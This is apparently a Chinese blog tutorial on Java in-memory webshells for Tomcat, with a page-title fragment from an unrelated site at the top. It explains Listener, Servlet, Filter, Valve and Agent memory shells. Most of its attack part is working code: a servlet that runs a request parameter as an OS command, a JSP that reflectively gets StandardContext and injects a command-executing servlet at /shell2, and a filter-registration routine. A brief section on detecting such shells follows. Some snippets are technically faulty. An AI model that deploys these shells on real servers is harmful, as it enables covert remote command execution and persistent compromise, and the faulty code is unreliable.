上海建设工程招投标网站,徐州建设工程交易网张周,网站建设项目流程,h5做商城网站基础知识
#xff08;代码功底不好#xff0c;就找ai优化了一下#xff09;
Java内存马是一种利用Java虚拟机#xff08;JVM#xff09;动态特性#xff08;如类加载机制、反射技术等#xff09;在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件#xff0c…基础知识
代码功底不好就找ai优化了一下
Java内存马是一种利用Java虚拟机JVM动态特性如类加载机制、反射技术等在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件因此具有很强的隐蔽性难以被传统基于文件系统的安全检测工具发现。
Java内存马的实现主要依赖以下JVM特性 反射机制通过反射可以动态地操作类、方法和字段甚至可以调用私有方法或修改私有字段。 动态类加载Java允许在运行时动态加载新的类内存马利用这一点将恶意代码加载到JVM中。 字节码操作通过工具如ASM、CGLIB可以动态生成或修改字节码从而注入恶意逻辑。
Java内存马的常见类型原理Servlet型内存马利用Java反射技术和Web容器如Tomcat的API在运行时动态注册恶意的Servlet组件。当访问特定URL时恶意Servlet会被触发执行。Listener型内存马利用Java反射技术和Web容器如Tomcat的API在运行时动态注册恶意的Servlet组件。当访问特定URL时恶意Servlet会被触发执行Filter型内存马动态注册恶意的Filter过滤器在请求到达Servlet之前拦截请求并执行恶意代码。Valve型内存马基于Tomcat的Valve机制动态注册恶意Valve组件。Valve在请求处理流程中更早地拦截请求甚至可以拦截所有请求Java-Agent型内存马利用Java-Agent技术通过java.lang.instrument包动态修改类的字节码注入恶意代码。这种方式可以在不修改源代码的情况下修改已加载类的行为
讲人话就是java内存马是无文件落地的利用Java的动态特性将恶意代码注入到内存中运行且能够在不触发文件检测的情况下长期驻留但内存马的持久性依赖于JVM的运行一旦JVM重启内存马通常会失效。
java三大组件
Servlet 、Filter 、Listener
三个组件的作用…叽里咕噜一大堆
三大组件总结与区别Servlet核心功能处理请求和响应生成动态内容。生命周期由请求触发每次请求都会调用doGet()或doPost()方法。 作用范围针对具体的请求和响应。Filter核心功能拦截请求和响应执行预处理或后处理。 生命周期在请求到达Servlet之前或响应返回客户端之前被调用。作用范围可以作用于多个Servlet或整个应用。Listener核心功能监听生命周期事件执行特定逻辑。生命周期在事件发生时被调用例如应用启动、会话创建等。 作用范围全局作用监听整个应用的生命周期。
当然了要了解一下JAVA Web的访问流程 1、我们去请求一个1.jsp 2、经过Listener组件如果存在的话 3、经过Filter组件如果存在的话 4、此时来到Servlet这个组件如果服务端存在1.jsp这个文件的话那么就会去请求相对应的路由 5、访问1.jsp这文件
Listener、Filter这两个组件不一定会经过但是Servlet这个组件一定会经过因为Servlet 是 Java Web 开发的核心组件用于处理请求并生成响应
Listener
基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时这个恶意的 Listener 就会执行预先设定的恶意代码。
第一个小复现
在本机的idea上测试先建一个项目再新建一个test的类 其中建立一个Listener监听器指向刚刚建立的test1文件内容 再test1类中写入
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;public class test1 implements ServletRequestListener {Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println(requestInitialized);ServletRequestListener.super.requestInitialized(arg0);}Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println(requestDestroyed);ServletRequestListener.super.requestDestroyed(arg0);}
}说明成功运行
我们同样可以加入一些执行代码。比如弹计算器啊 我这里加入了一些代码访问后发现打开了文件夹
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;
import jakarta.servlet.http.HttpServletRequest;WebListener
public class Test1 implements ServletRequestListener {Overridepublic void requestInitialized(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request (HttpServletRequest) event.getServletRequest();System.out.println(Request initialized: request.getRequestURI());executeCommand(); // 调用执行命令的方法}Overridepublic void requestDestroyed(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request (HttpServletRequest) event.getServletRequest();System.out.println(Request destroyed: request.getRequestURI());}/*** 执行系统命令的方法。*/private void executeCommand() {try {// 根据操作系统类型执行不同的命令String os System.getProperty(os.name).toLowerCase();String command;if (os.contains(win)) {// Windows 系统打开文件管理器command explorer.exe;} else if (os.contains(mac)) {// macOS 系统打开Findercommand open;} else {// Linux 系统打开默认文件管理器command xdg-open;}// 执行命令Process process Runtime.getRuntime().exec(command);System.out.println(Command executed: command);} catch (Exception e) {System.err.println(Failed to execute command: e.getMessage());}}
}Listener内存马通常是指动态注册一个新的恶意Listener组件传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个ListenerListener内存马不会覆盖原有的Listener组件新旧Listener会共存并同时生效。 但又有一个问题来了listener 是咋把我们创建的类test1加载到内存中的 答案就是 StandardContext类的context
StandardContext是Tomcat中管理Web应用生命周期的核心类它通过addApplicationEventListener方法将Listener加载到内存中并在适当的事件发生时调用它们。我们可以通过web.xml配置、注解或动态注册的方式将自定义的Listener如Test1添加到StandardContext中。
Servlet
Servlet 型内存马与 Filter 型内存马类似都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求从而实现对目标系统的控制。
该内存马流程大致如下 创建servlet获取StandardContext#context创建wrapper并写入servlet信息添加wrapper并添加路由信息第二个小复现
和之前的linstener差不多一样的构建方法 创建一个test2类写入下面的代码
package com.sf.maven.servletshell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;public class test2 extends HttpServlet {Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType(text/html);PrintWriter out resp.getWriter();// 输出响应内容out.println(!DOCTYPE html);out.println(html langen);out.println(headtitleTest Servlet/title/head);out.println(body);out.println(h1GET Request Received/h1);out.println(pMethod: GET/p);out.println(/body/html);}Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType(text/html);PrintWriter out resp.getWriter();// 输出响应内容out.println(!DOCTYPE html);out.println(html langen);out.println(headtitleTest Servlet/title/head);out.println(body);out.println(h1POST Request Received/h1);out.println(pMethod: POST/p);out.println(/body/html);}Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType(text/html);PrintWriter out resp.getWriter();// 输出响应内容out.println(!DOCTYPE html);out.println(html langen);out.println(headtitleTest Servlet/title/head);out.println(body);out.println(h1PUT Request Received/h1);out.println(pMethod: PUT/p);out.println(/body/html);}
}那么就可以创建一个恶意jsp来达成我们的目的
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;public class EvilServlet extends HttpServlet {Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}Overrideprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}private void processRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType(text/plain);PrintWriter out response.getWriter();String command request.getParameter(shihui);if (command ! null !command.trim().isEmpty()) {try {Process process Runtime.getRuntime().exec(command);BufferedReader reader new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line reader.readLine()) ! null) {out.println(line);}} catch (IOException e) {out.println(Error executing command: e.getMessage());}} else {response.sendError(HttpServletResponse.SC_BAD_REQUEST, Missing or empty shihui parameter);}}// 动态注册恶意 Servlet 到 Tomcatpublic static void registerEvilServlet() throws Exception {// 获取当前 ServletContextServletConfig servletConfig EvilServlet.class.getServletConfig();Context context (Context) servletConfig.getServletContext();// 创建 Wrapper 并封装恶意 ServletWrapper wrapper new Wrapper();wrapper.setName(EvilServlet);wrapper.setServletClass(EvilServlet.class.getName());wrapper.setLoadOnStartup(1);// 添加到 StandardContextStandardContext standardContext (StandardContext) context;standardContext.addChild(wrapper);standardContext.addServletMappingDecoded(/evil, EvilServlet);System.out.println(EvilServlet registered successfully.);}
}成功截图就懒的放了方便下滑
CVE-2020-1938 Servlet和Tomcat的关系 Tomcat里面有Servlet容器引擎 Tomcat可以提供HTTP访问 Tomcat可以把HTTP请求转换为HttpServletRequest对象并调用doGet/doPost并且把HttpServletResponse转换为HTTP响应内容 为了方便演示这里跳过RCE因为我们现在是想往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet完成这个目标的前提是已经拥有了一个 Webshell 所以我这直接手动向将一个恶意 jsp 文件实现一个恶意 Servlet 的动态注册从而达到注入内存马操作 我们先新建一个恶意jsp文件 找ai优化了一下代码
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjava.io.* %
% page importjava.util.Scanner %
% page importorg.apache.catalina.core.StandardContext %
% page importorg.apache.catalina.core.ApplicationContext %
% page importorg.apache.catalina.Wrapper %
% page importjavax.servlet.* %
% page importjavax.servlet.http.HttpServlet %
% page importjava.lang.reflect.Field %%!public class Shell2Servlet extends HttpServlet {Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd request.getParameter(cmd);if (cmd null || cmd.isEmpty()) {response.getWriter().println(No command provided.);return;}boolean isLinux System.getProperty(os.name).toLowerCase().contains(win) false;String[] cmds isLinux ? new String[]{sh, -c, cmd} : new String[]{cmd.exe, /c, cmd};Process process Runtime.getRuntime().exec(cmds);InputStream inputStream process.getInputStream();Scanner scanner new Scanner(inputStream).useDelimiter(\\A);String output scanner.hasNext() ? scanner.next() : No output.;PrintWriter writer response.getWriter();writer.println(output);writer.flush();}}
%%ServletContext servletContext request.getServletContext();try {Field applicationField servletContext.getClass().getDeclaredField(context);applicationField.setAccessible(true);ApplicationContext applicationContext (ApplicationContext) applicationField.get(servletContext);Field standardContextField applicationContext.getClass().getDeclaredField(context);standardContextField.setAccessible(true);StandardContext context (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper context.createWrapper();wrapper.setName(Shell2Servlet);wrapper.setServletClass(Shell2Servlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded(/shell2, Shell2Servlet);out.println(Shell2Servlet injected successfully!);out.println(Access URL: /shell2);out.println(Parameter: cmd);} catch (Exception e) {out.println(Injection failed: e.getMessage());}
%分析上面的代码我们可以从两部分来分析
Shell2Servlet类
这部分定义了一个继承自HttpServlet的类用于处理HTTP请求并执行系统命令。
%!public class Shell2Servlet extends HttpServlet {Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd request.getParameter(cmd); // 从请求中获取名为cmd的参数if (cmd null || cmd.isEmpty()) {response.getWriter().println(No command provided.); // 如果没有命令返回提示信息return;}boolean isLinux System.getProperty(os.name).toLowerCase().contains(win) false; // 判断操作系统类型String[] cmds isLinux ? new String[]{sh, -c, cmd} : new String[]{cmd.exe, /c, cmd}; // 构造命令Process process Runtime.getRuntime().exec(cmds); // 执行命令InputStream inputStream process.getInputStream(); // 获取命令的输出流Scanner scanner new Scanner(inputStream).useDelimiter(\\A); // 使用Scanner读取输出String output scanner.hasNext() ? scanner.next() : No output.; // 将输出转换为字符串PrintWriter writer response.getWriter(); // 获取响应的输出流writer.println(output); // 将命令的输出写入HTTP响应writer.flush(); // 刷新输出流}}
%service方法 这是一个通用的请求处理方法用于处理所有类型的HTTP请求GET、POST等。 它从请求中获取cmd参数该参数包含要执行的系统命令。 操作系统判断 通过System.getProperty(“os.name”)获取操作系统名称。 如果是Linux/Unix系统使用sh -c执行命令如果是Windows系统使用cmd.exe /c执行命令。 命令执行 使用Runtime.getRuntime().exec()执行命令。 通过InputStream获取命令的输出并使用Scanner将其转换为字符串。 响应输出 将命令的输出写入HTTP响应中返回给客户端。
JSP页面中的动态注入
这部分代码通过反射操作Tomcat的内部类动态注入Shell2Servlet使其能够响应特定的URL路径。
%ServletContext servletContext request.getServletContext(); // 获取当前Web应用的ServletContexttry {Field applicationField servletContext.getClass().getDeclaredField(context); // 获取ServletContext中的applicationContext字段applicationField.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext (ApplicationContext) applicationField.get(servletContext); // 获取ApplicationContext对象Field standardContextField applicationContext.getClass().getDeclaredField(context); // 获取ApplicationContext中的standardContext字段standardContextField.setAccessible(true); // 设置字段可访问StandardContext context (StandardContext) standardContextField.get(applicationContext); // 获取StandardContext对象Wrapper wrapper context.createWrapper(); // 创建一个新的Wrapper对象wrapper.setName(Shell2Servlet); // 设置Wrapper的名称wrapper.setServletClass(Shell2Servlet.class.getName()); // 设置Wrapper的Servlet类名context.addChild(wrapper); // 将Wrapper添加到StandardContext中context.addServletMappingDecoded(/shell2, Shell2Servlet); // 将Servlet映射到URL路径/shell2out.println(Shell2Servlet injected successfully!); // 输出注入成功的信息out.println(Access URL: /shell2);out.println(Parameter: cmd);} catch (Exception e) {out.println(Injection failed: e.getMessage()); // 如果注入失败输出错误信息}
%获取ServletContext request.getServletContext()获取当前Web应用的ServletContext对象。 反射操作 使用反射获取ServletContext中的ApplicationContext对象。 使用反射获取ApplicationContext中的StandardContext对象。 创建Wrapper对象 StandardContext是Tomcat中用于管理Servlet的容器。 创建一个新的Wrapper对象用于托管Shell2Servlet。 设置Wrapper的名称和Servlet类名并将其添加到StandardContext中。 映射URL路径 使用addServletMappingDecoded方法将Shell2Servlet映射到URL路径/shell2。 这意味着访问/shell2时请求将被转发到Shell2Servlet。 输出注入结果 如果注入成功输出成功信息和访问路径。 如果注入失败输出错误信息。
注入完成
把该恶意jsp放入tomcat容器的/webapps/ROOT中 再去访问url/shihui.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作即注入内存马 成功访问我们注入的内存马,再url里带上一个cmd参数
Filter
流程
创建 Filter 对象实现 javax.servlet.Filter 接口。 获取 StandardContext通过反射获取当前 Web 应用的 StandardContext 对象。 配置 FilterDef定义 Filter 的别名、类名和实例。 配置 FilterMap定义 Filter 的触发路由。 将 FilterDef 和 FilterMap 添加到 StandardContext通过反射将 Filter 注册到 Web 容器中。
filter内存马和listerner的区别
listerner内存马只需控制的是listener这个类传入那是因为创建listener时我们要配置的信息只有类但是filter不一样我们要配置的信息除了类还有类别名还有对应的触发访问路由那么我们想要创建一个filter内存马是不是除了filter对象的传入还要搞清楚filter别名、filter路由是如何传入的
第三个复现
创建test3类的流程和之前一样先在test3类里填入代码
package com.sf.maven.servletshell;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;public class test3 implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法在 Filter 启动时调用System.out.println(init);}Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println(Request received: httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println(Request processed: httpRequest.getRequestURI());}Overridepublic void destroy() {// 销毁方法在 Filter 停止时调用System.out.println(destroy);}
}再加入你的恶意代码即可 下面这串是整个恶意代码包括之前创建类的代码
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;public class test3 implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法在 Filter 启动时调用System.out.println(init);}Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println(Request received: httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println(Request processed: httpRequest.getRequestURI());}Overridepublic void destroy() {// 销毁方法在 Filter 停止时调用System.out.println(destroy);}/*** 动态注册 Filter 到 Tomcat*/public static void registerFilter(ServletRequest request) throws Exception {// 获取当前 ServletContextServletContext servletContext request.getServletContext();// 通过反射获取 StandardContextField contextField servletContext.getClass().getDeclaredField(context);contextField.setAccessible(true);ApplicationContext applicationContext (ApplicationContext) contextField.get(servletContext);Field standardContextField applicationContext.getClass().getDeclaredField(context);standardContextField.setAccessible(true);StandardContext standardContext (StandardContext) standardContextField.get(applicationContext);// 创建 FilterDef 并配置 FilterFilterDef filterDef new FilterDef();filterDef.setFilterName(test3Filter); // 设置 Filter 别名filterDef.setFilterClass(test3.class.getName()); // 设置 Filter 类名filterDef.setFilter(new test3()); // 设置 Filter 实例// 创建 FilterMap 并配置触发路由FilterMap filterMap new FilterMap();filterMap.setFilterName(test3Filter); // 设置 Filter 别名filterMap.addURLPattern(/*); // 设置触发路由匹配所有请求// 将 FilterDef 和 FilterMap 添加到 StandardContextstandardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);System.out.println(Filter test3Filter registered successfully.);}
}三大内存马的总结
省流版 Servlet 内存马通过动态注册恶意 Servlet 并绑定 URL 路由当访问特定路径时触发恶意逻辑。 Filter 内存马通过动态注册恶意 Filter 并配置路由拦截请求时触发恶意逻辑。 Listener 内存马通过动态注册恶意 Listener当特定事件发生时如应用启动、会话创建触发恶意逻辑。 Servlet 内存马的流程 创建恶意 Servlet 定义一个恶意的 HttpServlet在 doGet 或 doPost 方法中实现恶意逻辑如执行命令、读取文件等。 动态注册 Servlet 通过反射获取当前 Web 应用的 StandardContext 对象。 创建一个 Wrapper 对象封装恶意 Servlet 的类名和实例。 将 Wrapper 添加到 StandardContext 中并绑定一个 URL 路由如 /evil。 添加 Servlet 映射使恶意 Servlet 能够响应特定路径的请求。 触发恶意逻辑 当客户端访问绑定的 URL 路由时恶意 Servlet 被触发执行恶意逻辑。 Filter 内存马的流程 创建恶意 Filter 定义一个实现 Filter 接口的恶意类在 doFilter 方法中实现恶意逻辑。 动态注册 Filter 通过反射获取当前 Web 应用的 StandardContext 对象。 创建 FilterDef 对象配置恶意 Filter 的别名、类名和实例。 创建 FilterMap 对象定义 Filter 的触发路由如 /*匹配所有请求。 将 FilterDef 和 FilterMap 添加到 StandardContext 中。 触发恶意逻辑 当客户端发起请求时恶意 Filter 会根据配置的路由拦截请求并执行恶意逻辑。 Listener 内存马的流程 创建恶意 Listener 定义一个实现 ServletContextListener 或 HttpSessionListener 接口的恶意类在 contextInitialized 或 sessionCreated 方法中实现恶意逻辑。 动态注册 Listener 通过反射获取当前 Web 应用的 StandardContext 对象。 创建恶意 Listener 的实例。 将恶意 Listener 添加到 StandardContext 的监听器列表中。 触发恶意逻辑 当 Web 应用启动contextInitialized或会话创建sessionCreated时恶意 Listener 被触发执行恶意逻辑。
value和agent纯理论无实操版
这两个我就放一起总结了当然不是因为懒
value是tomcat独有的
他的流程如下 寻找目标对象或类 找到目标应用中已存在的对象或类这些对象或类通常具有可被利用的属性如 value。 修改目标对象的属性或行为 通过反射或其他方式修改目标对象的属性值注入恶意代码。 例如修改某个全局变量或配置类的属性使其包含恶意逻辑。 触发恶意代码 当目标对象的属性被访问或使用时恶意代码被触发。 这种触发方式通常依赖于特定的请求或操作例如访问某个特定的 URL 或调用某个方法。
也就是说该内存马是通过修改现有对象或类的属性适合在已有组件的基础上进行简单修改但依赖一些特定的请求或操作
agent
Agent 类型内存马的流程
1.创建 Agent 程序 编写一个 Java Agent 程序实现 premain 或 agentmain 方法。 使用 java.lang.instrument 包提供的 Instrumentation 和 ClassFileTransformer 接口来动态修改字节码。 2.打包 Agent 为 JAR 文件 将 Agent 程序打包为 JAR 文件并在 MANIFEST.MF 文件中指定 Premain-Class 或 Agent-Class。 3.加载 Agent premain 方式在 JVM 启动时通过 -javaagent 参数加载。 agentmain 方式在 JVM 启动后通过 Attach API 动态加载。 使用 VirtualMachine 类连接到目标 JVM并调用 loadAgent 方法。 4.修改字节码 使用字节码操作库如 Javassist、ASM动态修改目标类的字节码。 例如可以在目标类的方法中插入恶意代码。 5.触发恶意代码 当目标类的方法被调用时恶意代码被触发。 由于修改发生在内存中不会留下文件痕迹因此隐蔽性很高。
那么我们就可以发现Agent 类型内存马他是用 Java Agent 技术动态修改字节码来完成的实现复杂但可以动态注入到已启动的 JVM 中隐蔽性很高
查杀
虽然没几个人可以手动排查内存马但也走个过场作为了解即可基本都是用工具 想要查杀那么就得先定位
内存马虽然是无文件落地的但你也可以从其的流量特征和代码特征两个方面来完成定位 所谓的流量特征和代码特征围绕的点无外乎是老生常谈的那几点
异常路径和状态码 攻击者可能会尝试通过访问 /shell, /cmd, /hack, /test 等不存在的路径并携带参数执行命令。 动态变化的数据包大小 内存马在执行命令或返回结果时会导致数据包大小发生动态变化这是内存马活动的典型特征。 特殊的 User-Agent 或 Referer 字段 攻击者有时会使用特殊的 User-Agent 或 Referer 字段来标识或控制内存马。 恶意的代码执行因为内存马的核心功能是执行恶意命令。 可疑的类名和包名比如我之前搞的test类。 加解密操作 为了隐藏恶意代码和通信内容内存马通常会使用加解密算法例如 AES、Base64 等。 动态注册组件 内存马可能会利用 Java 反射机制动态注册 Filter、Servlet、Listener 等组件。 …
至于查杀这个图很好的描述了
